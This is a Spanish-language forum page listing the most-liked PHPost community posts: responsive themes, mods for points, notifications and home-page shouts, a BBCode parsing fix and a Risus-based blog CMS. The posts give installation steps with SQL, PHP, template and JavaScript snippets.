Clasificación


Contenido popular

Showing most liked content since 25/05/16 en todas las áreas

  1. 22 likes
    Muy buenas gente de Phpost . Pues después de un mes de estar sin pc, por fin he podido terminar el theme Carbon. En esta versión están todas las paginas rediseñadas y se adaptan a diferentes tamaños de pantalla. El theme carbon, es un theme que utiliza como base el framework Bulma css. Con diseño simple, elegante, 100% adaptable a cualquier tamaño de pantalla (responsive), ademas de servir como base para nuevos diseños que podrían ser diseñados por la comunidad de Phpost. Características: 100% responsive (Gracias al framework bulma.io) Reemplazo de los iconos default, por la libreria de iconos fontawesome.io Portadas para cada post en la Home Ligero, pesa tan solo 1.93mb (En comparacion del theme default 2.56mb) Cambios v.1.0 Administración y moderación 100% responsive Arreglo de errores de diseño en las secciones: Tops, Cuenta, Buscador, Portal Arreglo de errores de diseño en las ventanas modal (Responsive) Nuevo diseño del editor de post y comentarios Rediseño del footer Pequeñas mejoras en la home Incluido Lazyload en las portadas (se utilizo la librería bLazy.js) Agradecimiento especial a @Rengo por ayudarme a corregir algunos errores. Y a @zkreations por el tutorial de como implementar el librería bLazy, la verdad me cayo como anillo al dedo, ya que pase horas y horas intentando implementar dicha librería hasta que me tope con su tutorial . Lo puedes encontrar en su blog zkreations.com lo recomiendo ya que hay bastantes artículos de diseño y son simples de implementar, ademas de tener consejos,etc. Imagenes Vista desde un teléfono móvil También dejo una demo DEMO User: demo Pass: demo123 Instalación Primero realiza la siguiente consulta en tu base de datos ALTER TABLE p_posts ADD post_portada VARCHAR( 180 ) NOT NULL; ALTER TABLE p_borradores ADD b_portada VARCHAR( 180 ) NOT NULL Después descarga el theme y remplaza los archivos necesarios LINK Instala el theme desde el panel de administración Listo ya lo tienes Bueno eso es todo, espero disfruten el theme, cualquier sugerencia o duda los responderé en este tema. Te pido ademas que no retires mi copyright, fue bastante trabajoso editar todo desde la default y volverlo responsive. No olvides dejar tu me gusta para seguir compartiendo diseños y aumentar mi ego (Es mi único alimento ) Un saludo ..
  2. 19 likes
    Me dieron ganas de hacer un theme y bueno salio esto ^^ Vi una web y me gusto, la investigue y bueno así salio este theme, es de un script si lo quieren ver se llama como el theme. Diseñado en base del theme carbon, créditos para @nittox y mods utilizados. Lo hice de varios colores por si alguien no le gustaba, nos enumere y dejo como quedan en cada imagen.. #1: #2: #3 Deberán instalar el mod de portadas para visualizarlo en la home y para post relacionados, de igual manera deje c.posts.php y c.borradores.php ya editados desde 0, osea sin ninguna modificación, ni mods apartes.. dejo un texto en los archivos.. Se instala con el nombre de: youtunes Link MEGA: https://mega.nz/#F!B90jUYjA!_9P7qbfdTFS8SwVvNcKfzQ Link Mediafire: https://www.mediafire.com/#f754o12pix7dv Demo temporal: http://youtunes.hol.es/ Cualquier consulta, duda o queja me dejan en comentarios. es posible que falten algunos toques, me avisan Hasta Luego
  3. 16 likes
    Hola amigos, buen día. Después de algún tiempo de ser parte de la familia de phpost, decidí crear mi primer theme, hecho desde la default, mi computadora se había dañado y por tal razón no lo había publicado. Espero que les agrade, si desean mejorarlo perfecto, solo valoren mi esfuerzo. 1. Crean estas consultas en su base de datos ALTER TABLE p_posts ADD post_portada VARCHAR( 180 ) NOT NULL; ALTER TABLE p_borradores ADD b_portada VARCHAR( 180 ) NOT NULL ALTER TABLE `u_perfil` ADD `p_fondo` VARCHAR( 120 ) NOT NULL; ALTER TABLE `u_perfil` ADD `p_fondoper` VARCHAR( 120 ) NOT NULL ALTER TABLE `f_fotos` ADD `f_album` INT NOT NULL AFTER `f_visitas` ; CREATE TABLE IF NOT EXISTS `f_album` ( `album_id` int(11) NOT NULL AUTO_INCREMENT, `album_name` varchar(150) NOT NULL, `album_user` int(11) NOT NULL, `album_date` varchar(15) NOT NULL, PRIMARY KEY (`album_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ; ALTER TABLE `u_miembros` ADD `user_fotos` INT NOT NULL AFTER `user_posts` ; 2. En .htaccess buscamos RewriteRule ^fotos/([A-Za-z0-9_-]+)/([0-9]+)$ inc/php/fotos.php?action=album&user=$1&page=$2 [QSA,L] Y debajo colocamos RewriteRule ^fotos/([A-Za-z0-9_-]+)/album/([0-9]+)/([A-Za-z0-9_-]+)/$ inc/php/fotos.php?action=album&user=$1&folder=$2 [QSA,L] RewriteRule ^fotos/([A-Za-z0-9_-]+)/album/([0-9]+)/([A-Za-z0-9_-]+)/([0-9]+)$ inc/php/fotos.php?action=album&user=$1&folder=$2&page=$4 [QSA,L] 4. Suben la carpeta inc y el theme a su respectivo lugar 5. lo instalan con el nombre first link del theme https://mega.nz/#!GRhw2b5J!AYA_Bjpq4uFvCnsQbv0w28Xx8bxRFS50JvwCJ3rSqXc demo: http://surtidespensa.ml/ user: demo pass: 00000
  4. 13 likes
    Publico este tema rápidamente para que los usuarios que tengan tiempo puedan probar y buscar errores del complemento Páginas modulares que, como algunos ya habrán visto en el chat, he estado desarrollando en mis tiempos libres. Por supuesto, se otorgarán créditos a los usuarios que me ayuden a detectar errores. ¿En qué consiste este mod? Es un complemento que permite crear, editar, instalar, eliminar y organizar mods y páginas desde la administración para facilitar la gestión de la web y para que no sea necesario acceder al servidor FTP. Debido a mi falta de tiempo, no podré publicarlo tan completo y organizado como quería, pero al menos ya es totalmente funcional y estable, aunque prefiero publicarlo primero en fase de pruebas para garantizar. De momento, la instalación solo está disponible de modo automático y solo para los themes que se basen en el default: http://www.mediafire.com/?g9hhy8up8a99oez Para instalarlo solo tenéis que extraer el contenido del zip en inc/php/ y acceder a www.tuweb.com/install/. Y también dejo mi mod RChat estilo Whatsapp 1.2 en versión modular para que lo instaléis (se instala en Admin > Páginas > Instalar página) y entendáis el funcionamiento de este mod: http://www.mediafire.com/?d9mx5knadyog81t Capturas
  5. 11 likes
    Buenas gente de Phpost, hace algunos días publique un avance del theme Carbon: http://www.phpost.net/foro/topic/31318-avance-theme-carbon-responsive/ Ahora con algunos días mas de avance creo que ya esta listo para las primeras pruebas AVISO esta es una versión beta por lo tanto tiene errores, no se recomienda su uso en paginas web publicas Caracteristicas Responsive Compatible con la version: 1.2.00 en adelante (Se recomienda terminantemente utilizar la ultima version 1.2.7) Uso de la libreria de iconos Font-Awesome en ves de imagenes Portadas en los posts Vista previa de portada al momento de crear el post Diseño fresco ¿Que cosas le faltan? En esta versión faltan diseñar 4 secciones: Administración, Moderación, Cuenta, Buscador....Tuve algunos problemas al diseñar estas secciones, mas que todo porque usan tablas, espero acabarlas en la próxima version (Ninguna de estas secciones es responsive y tiene diseño faltante). Mejorar el diseño (Algunas secciones tiene el diseño muy tosco se mejorara en la próxima versión). Si esta incompleto ¿Por que lo publicas? Bueno el script de Phpost es grande, rediseñarlo todo se vuelve una ardua tarea, libero esta versión para que ustedes me puedan ayudar a encontrar errores y asi corregirlos, ademas al realizar pruebas con el theme podran darme sugerencias (color, posición, tamaño,etc.) para mejorar el diseño en las proximas versiones. Creditos Framework bulma. Libreria de Iconos Font Awesome. @Kmario19 (Mod "Portadas en los Post"- me guié en su theme "KM-Tronos" en algunas partes del diseño). @Vellenger (Me guié en su Mod "Post Destacados" para obtener la vista previa de las portadas). @Nico (Mod "Descripción de Post en la Home"). @Dressli (Creo que ahora tiene el nick "MagicInventor" no estoy seguro ) (Mod "Tags Automaticos tipo !T") Nada mas dejo algunas caps: Link de descarga DESCARGAR Bueno eso es todo por el momento, la nueva versión tardara en ser liberada (dependiendo de los errores que se vayan encontrando). Espero les guste y lo disfruten Hasta la próxima!!!
  6. 10 likes
    Bueno, como no tengo nada que hacer les dejo este mod a pedido de @RodrigoVGarcia y no sé que decir 1. Vamos a inc/class/c.posts.php y buscamos //SUMAMOS A LAS ESTADÍSTICAS db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE w_stats SET stats_comments = stats_comments + 1 WHERE stats_no = \'1\''); db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE p_posts SET post_comments = post_comments + 1 WHERE post_id = \''.(int)$post_id.'\''); db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_comentarios = user_comentarios + 1 WHERE user_id = \''.$tsUser->uid.'\''); y abajo agregamos if($data['post_user'] != $tsUser->uid && $tsCore->settings['c_puntos_com'] != 0) db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_puntos = user_puntos + \'' . $tsCore->settings['c_puntos_com'] . '\' WHERE user_id = \''.(int)$data['post_user'].'\''); 2. Hay que ir a inc/class/c.admin.php y buscar 'sump' => empty($_POST['sump']) ? 0 : 1, y abajo agregar 'puntos_com' => (int)$tsCore->setSecure($_POST['puntos_com']), Buscar , `c_allow_upload` = \'' . $c['upload'] . '\' y justo al lado agregar , `c_puntos_com` = \'' . $c['puntos_com'] . '\' 3. Vamos a themes/tutema/templates/admin_mods/m.admin_configs.tpl y buscamos <dl> <dt><label for="ai_offline">Modo mantenimiento:</label><br /><span>Esto har&aacute; al Sitio inaccesible a los usuarios. Si quiere, tambi&eacute;n puede introducir un breve mensaje (255 caracteres) para mostrar.</span></dt> <dd> <label><input name="offline" type="radio" id="ai_offline" value="1" {if $tsConfig.offline == 1}checked="checked"{/if} class="radio"/> S&iacute;</label> <label><input name="offline" type="radio" id="ai_offline" value="0" {if $tsConfig.offline != 1}checked="checked"{/if} class="radio"/> No</label> <br /> <input type="text" name="offline_message" id="ai_offline" value="{$tsConfig.offline_message}" /> </dd> </dl> y abajo agregamos <dl> <dt><label for="puntos_com">Puntos por comentar</label><br /><span>sep, hace lo que dice ahí ponle 0 para que no funcione. <a href="https://magicinventor.xyz">Programado por MagicInventor</a></span></dt> <dd><input type="text" id="puntos_com" name="puntos_com" maxlength="20" value="{$tsConfig.c_puntos_com}" /> </dd> </dl> 4. Ya se me olvidaba, la hermosa consulta sql ALTER TABLE `w_configuracion` ADD `c_puntos_com` INT NOT NULL DEFAULT '1' AFTER `c_desapprove_post`; Eso es todo, entren a mi blog, muy pronto públicare mods grandes y exclusivos solo en mi blog (https://magicinventor.xyz/)
  7. 10 likes
    A continuación les dejo la actualización o nueva versión de PHPost Risus Blog, la cual solucioné varios errores que tenía y le cambie el diseño, ademas agregue nuevas funciones para hacerla más similar a una CMS. ¿Qué trae de nuevo? Junto a la posibilidad de agregar una thumbnail o portada al escribir una entrada, ahora también se puede agregar una descripción, la cual incluiré en el tema Instagram Blog que subiré en breve. El diseño es responsive, utiliza Bootstrap 3 y Fontawesome como proveedor de iconos. Demo: LiDesign Descarga: Mega Cualquier problema me avisan
  8. 10 likes
    Hola! aca les traigo esta pequeñísima modificacion ( sólo para noobs ) ,es para que al postear un video de YT puedas descargartelo desde ahí mismo como muestra la imagen: Sólo se trata de modificar la siguiente línea en acciones.js h.replaceWith = '[align=center][swf=http://www.youtube.com/v/' + msg + ']Link:[url]http://www.youtube.com/watch?v=' + msg + '[/url][/align]\n'; Deberia quedar así: h.replaceWith = '[align=center][swf=http://www.youtube.com/v/' + msg + ']Descargar Video:[url]http://ssyoutube.com/watch?v=' + msg + '[/url][/align]\n'; Y asi te direcciona al sitio con el link de descarga EDITADO: Lo he mejorado un poco para q se vea asi: Ahora la línea deberia quedar así: h.replaceWith = '[align=center][swf=http://www.youtube.com/v/' + msg + '][url=http://ssyoutube.com/watch?v=' + msg + '][img=http://i.imgur.com/NC04R1K.png][/url][/align]\n'; EDITADO_2 Con esto el banner de arriba del video tambien se colocará automáticamente h.replaceWith = '[align=center][img=http://i.imgur.com/1mE9SG5.png][swf=http://www.youtube.com/v/' + msg + '][url=http://ssyoutube.com/watch?v=' + msg + '][img=http://i.imgur.com/NC04R1K.png][/url][/align]\n'; EJEMPLO: http://www.killeringa.org/posts/cienciayeducacion/18205/Iru-Landucci.html EDITADO! Si alquien tuvo este problema: Entonces la ultima linea de codigo q pongo quedaria asi (porsupuesto despues aplicar el fix que propone jorge51) : h.replaceWith = '[align=center][img=http://i.imgur.com/1mE9SG5.png][/align][align=center][swf=http://www.youtube.com/embed/' + msg + '][url=http://www.bajaryoutube.com/watch?v=' + msg + '][img=http://i.imgur.com/NC04R1K.png][/url][/align]\n';
  9. 10 likes
    Hola a todos les comparto rápidamente este par de fix a unos problemas que se han presentado desde la ultima actualización del bbcode usando ahora JBBCode, el problema es que al bbcode se parsea primero los emoticones y luego a html por lo que si, por ejemplo, un texto se presenta así: [b]Instrucciones:[/b] 1. Descargar... El parser primero realiza los emoticones, como el del vampiro que es :[ y por lo tanto rompe el bbcode para cerrar la etiqueta de negrita B y todo lo demás aparecerá en negrita, así mismo con cualquier otra etiqueta. Hago referencia a este topic publicado por @boltador: Y otro topic más que no recuerdo pero había reportado @fem se puede apreciar en la demo que con un quote también se rompe el bbcode: Entonces para solucionarlo básicamente trata de parsear primero todos los tags del bbocode y después, si es permitido, parsear los emoticones y menciones. Para ello vamos al archivo inc/class/c.core.php y buscamos la función parseBBCode y la reemplazaremos por esta: function parseBBCode($bbcode, $type = 'normal', $smiles = true, $mentions = true) { // Class BBCode include_once(TS_EXTRA . 'bbcode.inc.php'); $parser =& BBCode::getInstance(); // Seleccionar texto $parser->setText($bbcode); // Seleccionar tipo switch ($type) { // NORMAL case 'normal': // BBCodes permitidos $parser->setRestriction(array('url', 'code', 'quote', 'font', 'size', 'color', 'img', 'b', 'i', 'u', 's', 'align', 'spoiler', 'swf', 'video', 'goear', 'hr', 'sub', 'sup', 'table', 'td', 'tr', 'ul', 'li', 'ol', 'notice', 'info', 'warning', 'error', 'success')); break; // FIRMA case 'firma': // BBCodes permitidos $parser->setRestriction(array('url', 'font', 'size', 'color', 'img', 'b', 'i', 'u', 's', 'align', 'spoiler')); break; // NOTICIAS case 'news': // BBCodes permitidos $parser->setRestriction(array('url', 'b', 'i', 'u', 's')); break; // SOLO SMILES (Esta opción se mantiene por compatibilidad con versiones anteriores, pero en su lugar se recomienda utilizar la opción "normal") case 'smiles': $parser->setRestriction(array('url', 'code', 'quote', 'quotePHPost', 'font', 'size', 'color', 'img', 'b', 'i', 'u', 'align', 'spoiler', 'swf', 'goear', 'hr', 'li')); break; } // HTML $html = $parser->getAsHtml(); // SMILES if ($smiles) $html = $parser->parseSmiles(); // MENCIONES if ($mentions) $html = $parser->parseMentions(); // Retornar resultado return $html; } Ahora en el archivo inc/ext/bbcode.inc.php buscar: return nl2br($this->text); Reemplazar por: return $this->text = nl2br($this->text); Mas abajo buscar: $this->text = substr($this->text, 0, -1); Reemplazar por: return $this->text = substr($this->text, 0, -1); Casi al final buscar: $this->text = str_replace($bbcode, $html, $this->text); Reemplazar por: return $this->text = str_replace($bbcode, $html, $this->text); Y listo con eso se arreglaría el problema. Ahora el segundo detalle es que la opción de "Sin Smileys" que tienen los posts, no funciona. Para solucionarlo ir al archivo inc/class/c.posts.php y buscar: $tsCore->parseBBCode($postData['post_body'], 'firma') Reemplazar por: $tsCore->parseBBCode($postData['post_body'], 'normal', false) Y con esto ya estaría funcionando la opción de NO parsear emoticones. Les dejo algunas capturas: Post: Antes: Ahora: Sin emoticones: Bueno, eso sería todo por este post. Dejen sus dudas, comentarios sugerencias. Ante cualquier problema no dudes en comentarlo, intentaré ayudarte lo más rápido que pueda. Nos vemos en otro aporte, hasta entonces!
  10. 9 likes
    Hola,os este theme V5 actualizado a la versión 1.2.6.000 y aparte le he le he corregido algunas cosas,comunidades,shouts,fix en los juegos,rss web,rss usuario.... Esta versión es para intalar como el script de PHPOST,desde cero,despues cuando tenga otro rato, dejo aquí el theme,para que no tengan problemas el que ya tenga en su web un theme. Si la tienes instalada y no has instalado ningún mod,puedes subir todos los archivos menos config.inc , cache , files , install ,si tienes ya instalado algún mod ó algo,despues voy a dejar el theme y los archivos editado solo. Cualquier cosa avisan,saludos Instalación: www.tuweb.com www.tuweb.com/install/index.php Imágenes Rss web Rss usuario Actualizado 21/11/2016 Megahttps://mega.nz/#!9RdBDJxB!5l0kvAvkK9tFsEBFt6ttNAzlqKjDRBOSsnwP6Yqdfes Mediafirehttp://www.mediafire.com/file/mgxx2sancwrl12j/Theme+V5-v2a.rar Pass Tronlar
  11. 9 likes
    lo siento pero no tengo esa plata para pagarlo asi que es oficial me retiro de phpost ya que ahora que esta la versión paga ya no le darán bola a la gratuita, voy a ahorrar para comprar ipboard 75usd es demasiado incluso una ofensa para los que queremos y estuvimos bancando a phpost atras de nuestros monitores yo creo que
  12. 8 likes
    Hola a todos, hoy les traigo este mod para tener notificaciones de escritorio en vuestra web. Notas: -Las imágenes y títulos como (Nueva Notificación -- Nuevo Mensaje -- Nuevo Aviso) se pueden cambiar desde los archivos que se suben a modules. -El mod no funciona si el usuario no esta logeado. -Si hay nuevas versiones, se les avisará a los administradores. Futuras versiones: -La nueva version permitirá al usuario manejar si quiere ver las notificaciones, avisos o los mensajes desde /cuenta/. -La parte de notificaciones está un poco bugeada ya que al cargar la notificación y actualizar la pagina se marcan todas como leídas, eso vendrá parcheado en la próxima version. -Se está solucionando el problema de los textos en UTF-8, en próximas versiones vendrá parcheado. -Se está solucionando el problema del bucle infinito al actualizar la página. -Se agregaran los avisos también. Todo esto vendrá corregido y agregado en la version 1.0, por falta de tiempo, no pude terminarlo, mis disculpas XD. Si no saben que es/son aquí les dejo esto: Bien, después de todo esto, vamos a la instalación. Vamos al header.php (gracias @MagicInventor) y buscamos: // Nofiticaciones $smarty->assign('tsNots',$tsMonitor->notificaciones); y abajo pegamos: //Mod Notificaciones De Escritorio para NOTS $notificaciones = $tsMonitor->getNotificaciones(); $smarty->assign("tsDeskNotsNots",$notificaciones['data']); //Mod Notificaciones de Escritorio para MPS $smarty->assign("tsDeskNotsMPs",$tsMP->getMensajes(1, false, 'monitor')); Vamos al main_footer.tpl y pegamos antes de: </body> </html> Esto: {if $tsUser->is_member} {include file='modules/m.desknots_nots.tpl'} {include file='modules/m.desknots_mps.tpl'} {include file='modules/m.desknots_checking.tpl'} {/if} Ahora subimos estos archivos a themes/TU_TEMA/templates/modules/: [Descarga] Y eso sería todo. [Demo]
  13. 8 likes
    Hola! Hace unos dias deje avances de la modificación a Risus que hice y hoy se las vengo a dejar para que la prueben y me digan que tal va. Bueno, PHPost Risusu Blog es la versión de Risus pero en CMS, es decir, un sistema para gestionar contenido, estilo Wordpress o Blogger, con el cual podrán tener sus propios blogs usando uno de los script más seguros que hay. Cuenta con un diseño minimalista, usando Bootstrap y gracias a la plantilla AdminLTE del usuario Dark que publicó este diseño adaptado a PHPost pude hacer este proyecto de forma más rapida ya que me ahorro bastante trabajo Trae dos plantillas, la default que tiene solo una columna en la home, y la Cuatro que es la que dejaré en la captura más abajo con dos columnas. Cuenta con el instalador que trae por defecto PHPost, para poder instalar los complementos que le agrege (Portadas en post y perfiles), asique para instalarlo lo hacen como instalar Risus, desde: http:// TUWEB.COM /install/index.php Captura del script Descarga: Mediafire Cualquier problema lo dejan en los comentarios o por mensaje privado. Saludos!
  14. 8 likes
    Hola amigos, hace tiempo que ya no he publicado nada y es por temas de trabajos y proyectos en los que estoy, pero hoy les vengo a dejar un avance de mi modificación al script original de PHPost Risus, se trata de PHPost Risus Blog (No soy ingenioso con los nombres ), es básicamente una CMS con la cual podrán montar sus propios Blogs personales, hecha a base de Risus y con un diseño responsive utilizando Bootstrap. Esto lo hice sobre la plantilla AdminLTE que está en el foro, la rediseñe a mi gusto y le dejo los créditos al que adapto ese diseño a PHPost. Este proyecto lo tengo al 80%, aun me faltan terminar algunas partes pero ya está casi terminada. Estoy trabajando a la par con el proyecto PRMD de MrDioamDev para tener ambos proyectos listos lo más pronto posible, pero como llevo trabajando con esta modificación más tiempo, es seguro que saldrá antes(Blog). A continuación les dejo unas capturas de lo que vendría siendo PHPost Risus Blog. Aun me falta terminar la administración y algunos detalles del sitio en general. Pueden dejar sus sugerencias de algo que falte Saludos!
  15. 8 likes
    Buenas gente de Phpost . <!-- CRAP DE INTRODUCCION --> Hace mas de un año ya que tuve que dejar mi actividad en el foro debido a los estudios en la universidad, vida social, etc. Para los que no me recuerdan, no los culpo ya que nunca fui muy activo y también me cambie el nick (La verdad el otro era muy tonto ) Ahora ya con un poco mas de tiempo libre estoy desarrollando un theme como manera de agradecer a esta increíble comunidad, gracias a ustedes entre en el mundo del diseño web y encontré un hobbie en crear plantillas. La verdad me da un poco de pena ver la inactividad en la que ahora se encuentra Phpost. Solo espero que este aporte no llegue muy tarde y que aun algunos lo puedan usar.... <!--FIN DE CRAP --> Bueno basta de bla bla bla vamos al tema. El theme Carbon (Nombre poco creativo sujeto a cambio) tendrá las siguientes características: 100% Responsive (Estoy utilizando el framework Bulma para lograr eso) Diseño fresco utilizando css3 (Basta de utilizar imágenes para llenar Backgrounds) Reemplazo de Iconos por libreria de iconos Font Awesome Portadas para los post (Sujeto a cambio en caso de no gustar el diseño de los últimos posts) Seccion "Fotos" retirada (Temporal o permanentemente) Sin mas dejo algunas imágenes del theme Home (No identificado) Home (Identificado) Post Contenido Perfil Bueno eso seria todo por el momento, como verán solo soy un amateur en diseño y debido a que deje el script un buen tiempo me esta costando encontrar las plantillas de cada seccion para editarlas . El theme espero liberarlo para el 15 de diciembre o hasta navidad a mas tardar, ya que pueden pasar cosas que no estoy tomando en cuenta en un futuro. Eso seria todo...Nos vemos gente de Phpost.
  16. 8 likes
    Hola Usuarios de PHPost hoy les traigo la actualización del mod Ultimos shouts en la home a la v1.2 de risus, es para la v4 pero fácilmente podrán adaptado al diseño de su theme. Versión anterior: Empecemos con la Instalación en c.posts.php buscamos: /* getRelated() */ Agregamos arriba: /* Ultimos Shouts en la home */ function getNews($start = 0, $limit = 10){ global $tsUser, $tsCore; // OBTENEMOS LAS ULTIMAS PUBLICACIONES $query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT *,u.* FROM u_muro LEFT JOIN u_miembros AS u ON p_user = u.user_id ORDER BY p_date DESC LIMIT '.$start.','.$limit.''); while($row = db_exec('fetch_array', $query)){ // MENCIONES $row['p_body'] = $tsCore->parseBadWords($tsCore->parseBBCode($tsCore->setMenciones($row['p_body'])), true); // CARGAR ADJUNTOS if($row['p_type'] != 1){ $queryDos = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT * FROM u_muro_adjuntos WHERE pub_id = \''.$row['pub_id'].'\' LIMIT 1'); $adj = db_exec('fetch_assoc', $queryDos); // $data[] = array_merge($row,$adj); } else $data[] = $row; // } // RETORNAMOS return array('total' => count($data), 'data' => $data); } -Si desean cambiar la cantidad de shouts que se mostraran en la home editen la variable $limit (por defecto se mostraran 10) En post.php buscamos: // TOP POSTS $smarty->assign("tsTopPosts",$tsTops->getHomeTopPosts()); Abajo de eso agregamos: //ULTIMOS SHOUTS EN LA HOME $smarty->assign("tsMuro",$tsPosts->getNews()); En t.home.tpl agregamos el modulo donde ustedes gusten: {include file='modules/m.home_shouts.tpl'} Creamos un archivo llamado m.home_shouts.tpl (lo guardamos en la carpeta modules) <div id="ultimos_shouts"> <div class="widget clearfix"> <div class="title-w clearfix"><h3>&Uacute;ltimos Shouts</h3></div> {if $tsMuro == 0} <div class="emptyData">No hay shouts :(</div> {else} {foreach from=$tsMuro.data item=s} <div class="Story" id="pub_{$s.pub_id}"> {if $s.p_user == $tsUser->uid || $s.p_user_pub == $tsUser->uid || $tsUser->is_admod || $tsUser->permisos.moepm} <div class="Story_Hide"> <a href="#" onclick="muro.del_pub({$s.pub_id},1); return false;" title="Eliminar la publicación" class="qtip uiClose"></a> </div> {/if} {if $s.p_user_pub == $s.p_user} <a href="{$tsConfig.url}/perfil/{$s.user_name}" class="Story_Pic"><img src="{$tsConfig.url}/files/avatar/{$s.p_user}_50.jpg" alt="Avatar de {$s.user_name}" /></a> {else} <a href="{$tsConfig.url}/perfil/{$s.user_name}" class="Story_Pic"><img src="{$tsConfig.url}/files/avatar/{$s.p_user}_50.jpg" alt="Avatar de {$s.user_name}" /></a> <a href="{$tsConfig.url}/perfil/{$tsUser->getUserName($s.p_user_pub)}" class="Story_Pic_mim"><img src="{$tsConfig.url}/files/avatar/{$s.p_user_pub}_50.jpg"/></a> {/if} <div class="autor"> {if $s.user_id == $s.p_user} <a href="{$tsConfig.url}/perfil/{$tsUser->getUserName($s.p_user_pub)}" class="hovercard a_blue" uid="{$s.p_user_pub}">@{$tsUser->getUserName($s.p_user_pub)}</a><br> {if $s.p_user_pub != $s.p_user} <span>publico via @<a href="{$tsConfig.url}/perfil/{$s.user_name}" class="hovercard a_blue" uid="{$s.p_user}">{$s.user_name}</a></span> {/if} {else} <a href="{$tsConfig.url}/perfil/{$s.user_name}" class="hovercard a_blue" uid="{$s.p_user_pub}">{$s.user_name}</a> {/if} </div> <div class="Story_Content"> <div class="Story_Head"> <div class="Story_Message"> <span>{$s.p_body|quot}</span> <div class="mvm clearfix"> {if $s.p_type != 1} {if $s.p_type == 2} {if $tsUser->is_member} <a href="{$tsConfig.url}/perfil/{$s.user_name}/{$s.pub_id}" class="uiPhoto"><img src="{$s.a_img}" class="basdower"></a> {else} <img src="{$s.a_img}" class="basdower"> {/if} {elseif $s.p_type == 3} <div class="uiLink"> <div><a href="{$s.a_url}" target="_blank" class="a_blue"><strong>{$s.a_title}</strong></a></div> <a href="{$s.a_url}" target="_blank" class="h-blue">{$s.a_url}</a> </div> {elseif $s.p_type == 4} <a href="{$tsConfig.url}/perfil/{$s.user_name}/{$s.pub_id}" class="uiVideoThumb"> <span><b>{$s.a_title|truncate:35}</b></span> <img src="http://img.youtube.com/vi/{$s.a_url}/0.jpg" class="basdower"> <i></i> </a> {/if} {/if} </div> </div> </div> <div class="Story_Foot"> <div class="Story_Info"> <i class="stream w_{if $s.p_type == 1 && $s.p_user_pub == $s.p_user_pub}0{else}{$s.p_type}{/if}"></i> <span class="text">{$s.p_date|fecha}</span> · <a {if $tsUser->is_member}onclick="muro.like_this({$s.pub_id}, 'pub', this); return false;"{else}href="javascript:open_login_box('open');"{/if} class="a_blue">Me gusta</a> · <a {if $tsUser->is_member}href="{$tsConfig.url}/perfil/{$s.user_name}/{$s.pub_id}"{else}href="javascript:open_login_box('open');"{/if} class="a_blue">Abrir</a> </div> </div> </div> <div class="clearBoth"></div> </div> {/foreach} {/if} </div> </div> {literal} <script> // Eliminar publiccion y like var muro={stream:{status:0},like_this:function(a,b,c){muro.stream.status=1,$("#loading").slideDown(250),$.ajax({type:"POST",url:global_data.url+"/muro-likes.php",dataType:"json",data:"id="+a+"&type="+b,success:function(d){"ok"==d.status?($(c).text(d.link),"pub"==b?($("#lk_"+a).html(d.text),""!=d.text?($("#lk_"+a).parent().parent().show(),$("#cb_"+a).show()):$("#lk_"+a).parent().parent().hide()):($("#lk_cm_"+a).text(d.text),""==d.text?$("#lk_cm_"+a).parent().hide():$("#lk_cm_"+a).parent().show())):mydialog.alert("Error:",d.text.substring(3)),$("#loading").slideUp(350)},complete:function(){muro.stream.status=0}})},del_pub:function(a,b){var c=1==b?"publicaci&oacute;n":"comentario";var d=1==b?"esta ":"este ";mydialog.mask_close=!1,mydialog.show(!0),mydialog.title("Eliminar "+c),mydialog.body("\xbfSeguro que quieres eliminar "+d+c),mydialog.buttons(!0,!0,"Eliminar "+c,"muro.eliminar("+a+", "+b+")",!0,!0,!0,"Cancelar","close",!0,!1),mydialog.center()},eliminar:function(a,b){muro.stream.status=1;var c=1==b?"pub":"cmt";$("#loading").slideDown(250),$.ajax({type:"POST",url:global_data.url+"/muro-stream.php?do=delete",data:"id="+a+"&type="+c,success:function(b){switch(b.charAt(0)){case"0":mydialog.alert("Error:",b.substring(3));break;case"1":mydialog.close(),$("#"+c+"_"+a).hide().remove()}$("#loading").slideUp(450)},complete:function(){muro.stream.status=0,$("#loading").slideUp(350)}})}}; </script> <style> #ultimos_shouts .widget{display:block;float:none;margin-bottom:10px} #ultimos_shouts .widget .title-w{padding-bottom:5px;border-bottom:1px solid #C1c1c1;margin-bottom:5px;color:#000} #ultimos_shouts .widget .title-w h3{font-size:14px;margin:0;float:left} #ultimos_shouts .Story{padding:10px 0;border-bottom:1px solid #E9E9E9;position:relative} #ultimos_shouts .Story_Hide{position:absolute;right:0;display:none} #ultimos_shouts .Story_Hide .uiClose{background:url({/literal}{$tsConfig.tema.t_url}{literal}/images/icons/muro/fb_close_big.png) no-repeat center top;height:15px;width:15px;display:block} #ultimos_shouts .Story:hover .Story_Hide{display:block} #ultimos_shouts .Story_Pic{float:left;margin-right:10px} #ultimos_shouts .Story_Pic_mim{display:inline;float:none;position:absolute;left:20px;top:30px;border:1px solid #fff;background:#fff} #ultimos_shouts .Story_Pic_mim img{vertical-align:top;height:32px;width:32px} #ultimos_shouts .autor{float:left} #ultimos_shouts .Story_Content{float:left;margin-top:10px} #ultimos_shouts .a_blue{color:#3B5998!important;font-weight:bold} #ultimos_shouts .stream{background:url({/literal}{$tsConfig.tema.t_url}{literal}/images/icons/muro/stream.png) no-repeat left top;display:inline-block;width:16px;height:16px;top:3px;left:0;vertical-align:middle} #ultimos_shouts .w_1{background-position:left -16px} #ultimos_shouts .w_2{background-position:left -32px} #ultimos_shouts .w_3{background-position:left -48px} #ultimos_shouts .w_4{background-position:left -64px} #ultimos_shouts .Story_Foot{margin-top:10px} #ultimos_shouts .Story_Foot .Story_Info{color:#999} #ultimos_shouts .Story_Message img.basdower{width:100%} #ultimos_shouts .Story_Message .uiLink{border-left:2px solid #CCC;padding-left:10px} #ultimos_shouts .uiVideoThumb{position:relative} #ultimos_shouts .Story_Message .uiVideoThumb i{background:url({/literal}{$tsConfig.tema.t_url}{literal}/images/icons/muro/fb_video_play.png) no-repeat scroll 0 0 transparent;bottom:0;height:32px;left:0;position:absolute;width:39px} </style> {/literal} Captura: Créditos: Creación del mod: A quien correspondan. @tutan-kabron por su fix: Bueno eso es todo, nos vemos en otro aporte.
  17. 7 likes
